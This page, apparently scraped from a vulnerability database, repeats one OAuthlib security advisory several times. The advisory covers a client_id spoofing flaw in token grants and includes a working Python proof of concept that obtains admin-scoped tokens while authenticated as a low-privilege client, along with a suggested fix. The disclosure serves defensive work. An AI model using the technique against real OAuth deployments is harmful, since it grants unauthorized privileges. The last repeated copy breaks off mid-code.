- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "apprise",
"purl": "pkg:brew/apprise"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.7.0"
},
{
"introduced": "1.7.2"
},
{
"fixed": "2.0.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-apprise-CVE-2026-118669",
"modified": "2026-10-31T08:32:17Z",
"published": "2026-10-31T08:32:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-CHARMCRAFT-CVE-2026… (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 10:24 – Updated: 2026-10-31 10:24 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "charmcraft",
"purl": "pkg:brew/charmcraft"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.4.2_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n 